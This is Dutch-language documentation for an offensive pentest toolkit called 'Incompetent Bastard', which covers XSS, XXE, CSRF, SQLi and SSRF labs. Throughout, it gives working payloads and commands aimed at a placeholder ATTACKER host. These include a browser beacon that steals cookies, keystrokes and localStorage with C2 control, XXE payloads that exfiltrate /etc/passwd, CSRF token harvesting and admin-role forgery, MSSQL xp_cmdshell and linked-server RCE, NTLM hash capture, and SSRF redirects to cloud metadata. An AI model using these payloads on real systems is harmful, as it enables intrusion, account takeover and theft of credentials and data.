De IB Vulnerability Labs: XSS, XXE, CSRF, SQLi en SSRF

Incompetent Bastard (IB) bevat vijf geintegreerde vulnerability labs die dienen als aanvalsinfrastructuur tijdens een penetratietest. Elk lab biedt payload-endpoints zonder authenticatie (zodat doelsystemen ze kunnen bereiken), gecombineerd met een beveiligd dashboard voor de operator.

IB – De payload-routes zijn bewust onbeveiligd. De dashboard-routes vereisen localhost-toegang of authenticatie.

Vereisten

flask --app app:create_app run --host 0.0.0.0 --port 5000
curl -X POST http://127.0.0.1:5000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"localhost":"http://10.10.14.5:5000"}'

In de voorbeelden gebruiken we ATTACKER als placeholder voor dit adres.

XSS Lab

Het XSS lab biedt een JavaScript-beacon die browsers hookt en data terugrapporteert.

Architectuur

Route Beschrijving
/x.js of /xxs.js JavaScript beacon (hook)
/xxs/cookies Ontvangt gestolen cookies
/xxs/keylogger Ontvangt toetsaanslagen
/xxs/localstorage Ontvangt localStorage-data
/xxs/commands Levert C2-commando’s aan gehoekte browsers
/xxs/commands/result Ontvangt C2-resultaten
/dashboard/xxs Operator dashboard

Beacon injecteren

<script src="http://ATTACKER:5000/x.js"></script>

De beacon verzamelt automatisch cookies, toetsaanslagen en localStorage en stuurt deze naar IB. Elke gehoekte browser verschijnt als client op het dashboard.

C2-commando’s

Voer JavaScript uit in gehoekte browsers:

# Commando naar alle clients
curl -X POST http://127.0.0.1:5000/api/xxs/commands \
  -H "Content-Type: application/json" \
  -d '{"host":"*","opdracht":"return document.cookie"}'

# Naar specifiek IP
curl -X POST http://127.0.0.1:5000/api/xxs/commands \
  -H "Content-Type: application/json" \
  -d '{"host":"192.168.1.100","opdracht":"return document.location.href"}'

# Actieve clients bekijken
curl http://127.0.0.1:5000/api/xxs/hooked

# Commando's beheren
curl http://127.0.0.1:5000/api/xxs/commands
curl -X DELETE http://127.0.0.1:5000/api/xxs/commands/1
curl -X POST http://127.0.0.1:5000/api/xxs/commands/clear

IB – Gedownloade cookies zijn in Netscape-formaat en kunnen direct met curl -b cookies.txt worden gebruikt.

XXE Lab

Het XXE lab ondersteunt out-of-band (OOB) en error-based XML External Entity exfiltratie.

Architectuur

Route Beschrijving
/xxe/yolo.dtd Dynamische OOB DTD
/xxe/fout.dtd Error-based DTD
/xxe/froufrou Callback voor geexfiltreerde data
/dashboard/xxe Operator dashboard

OOB exfiltratie

Injecteer deze XML-payload in een kwetsbare parser:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://ATTACKER:5000/xxe/yolo.dtd?request=file:///etc/passwd&callback=http://ATTACKER:5000">
  %xxe;
]>
<root>&yolo;</root>

De DTD op /xxe/yolo.dtd leest het bestand op het doelsysteem en stuurt de inhoud via /xxe/froufrou terug naar IB. Data wordt opgeslagen in de database en in raw/loot/<client_ip>/xxe/.

Error-based exfiltratie

<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://ATTACKER:5000/xxe/fout.dtd?resource=file:///etc/hostname">
  %xxe;
]>

API

curl http://127.0.0.1:5000/api/xxe/data
curl -X DELETE http://127.0.0.1:5000/api/xxe/1

CSRF Lab

Het CSRF lab biedt tools om CSRF-tokens te oogsten en formulieren automatisch te submitten.

Architectuur

Route Beschrijving
/csrf.js JavaScript dat formulieren scant en tokens stuurt
/csrf/inject.html Auto-submitting CSRF-formulier
/csrf/harvest Callback voor geoogste data
/dashboard/csrf Operator dashboard

Token harvesting

<script src="http://ATTACKER:5000/csrf.js"></script>

Het script scant alle formulieren op hidden fields (CSRF-tokens) en hookt form-submits om ingevulde data te onderscheppen.

Auto-submit CSRF

http://ATTACKER:5000/csrf/inject.html?action=https://target.com/admin/user&method=POST&username=attacker&role=admin

Genereert een HTML-pagina met een auto-submitting formulier. De action-parameter is de doel-URL, method is POST of GET, en alle overige parameters worden als hidden inputs toegevoegd.

API

curl http://127.0.0.1:5000/api/csrf/data
curl -X DELETE http://127.0.0.1:5000/api/csrf/1

IB – De harvest callback retourneert een 1x1 transparante GIF, onopvallend als <img> tag.

SQLi Lab

Het SQLi lab biedt injection-relay, OOB callbacks, second-order SQLi en MSSQL-tooling.

Kernroutes

Route Beschrijving
/sqli2/inject Proxy voor SQLi-payloads
/sqli2/callback Blind SQLi data-exfiltratie
/sqli2/mssql/xpcmdshell xp_cmdshell RCE
/sqli2/mssql/unc UNC path injection (hash capture)
/sqli2/mssql/links/discover Linked servers ontdekken
/sqli2/mssql/links/crawl Keten-exploratie via OPENQUERY
/sqli2/mssql/links/rce RCE via linked server keten
/api/sqli/cheatsheet Cheatsheet voor alle DB-engines
/dashboard/sqli Operator dashboard

Injection relay

curl "http://ATTACKER:5000/sqli2/inject?url=http://target.com/search&param=q&payload=' OR 1=1--"

MSSQL xp_cmdshell

curl -X POST http://ATTACKER:5000/sqli2/mssql/xpcmdshell \
  -H "Content-Type: application/json" \
  -d '{"url":"http://target.com/products","param":"id","command":"whoami","enable":true}'

Second-order SQLi

Driestappenmodel: store -> trigger -> verify:

# Stap 1: Payload opslaan
curl -X POST http://ATTACKER:5000/sqli2/secondorder/store \
  -H "Content-Type: application/json" \
  -d '{"label":"register","url":"http://target.com/register","param":"username","payload":"admin'\'' OR 1=1--"}'

# Stap 2: Triggeren
curl -X POST http://ATTACKER:5000/sqli2/secondorder/trigger \
  -H "Content-Type: application/json" \
  -d '{"store_id":1,"url":"http://target.com/profile"}'

# Stap 3: Verifieren
curl "http://ATTACKER:5000/sqli2/secondorder/verify/1?url=http://target.com/profile"

MSSQL Linked Servers

# Ontdekken
curl -X POST http://ATTACKER:5000/sqli2/mssql/links/discover \
  -H "Content-Type: application/json" \
  -d '{"url":"http://target.com/products","param":"id"}'

# RCE via keten
curl -X POST http://ATTACKER:5000/sqli2/mssql/links/rce \
  -H "Content-Type: application/json" \
  -d '{"url":"http://target.com/products","param":"id","chain":["SRV02"],"command":"whoami"}'

SSRF Lab

Het SSRF lab biedt redirect-endpoints voor cloud metadata en blind SSRF-bevestiging.

Endpoints

Route Doel
/ssrf/aws AWS EC2 metadata (169.254.169.254)
/ssrf/azure Azure Instance Metadata
/ssrf/google Google Cloud metadata
/ssrf/openstack OpenStack metadata
/ssrf/oracle Oracle Cloud metadata
/ssrf/digitalocean DigitalOcean metadata
/ssrf/kubernetes Kubernetes metadata
/ssrf/docker Docker daemon API (127.0.0.1:2375)
/ssrf/passwd file:////etc/passwd
/ssrf/winini file:///c:/windows/win.ini
/ssrf/redirect?url=URL Dynamische redirect
/ssrf/callback Blind SSRF bevestiging

Gebruik

Wanneer een SSRF-kwetsbaarheid redirects volgt:

http://ATTACKER:5000/ssrf/aws

Dit retourneert een HTTP 307 redirect naar de AWS metadata endpoint. Voor interne services:

http://ATTACKER:5000/ssrf/redirect?url=http://192.168.1.1:8080/admin

Voor blind SSRF bevestiging:

http://ATTACKER:5000/ssrf/callback?data=ssrf-confirmed
# API
curl http://127.0.0.1:5000/api/ssrf/data

IB – Alle SSRF redirect-routes gebruiken HTTP 307 om de originele HTTP-methode te behouden.

Labs combineren

XSS naar CSRF: injecteer de beacon, hook de browser, stuur via C2 het commando om ook /csrf.js te laden, oogst tokens, gebruik /csrf/inject.html voor een gerichte aanval.

SQLi naar hash capture: identificeer SQLi in MSSQL, gebruik /sqli2/mssql/unc om UNC-request te forceren, vang de NTLM-hash op met Responder.

Samenvatting

De vijf IB vulnerability labs bieden complete aanvalsinfrastructuur:

De volledige broncode is beschikbaar op GitHub.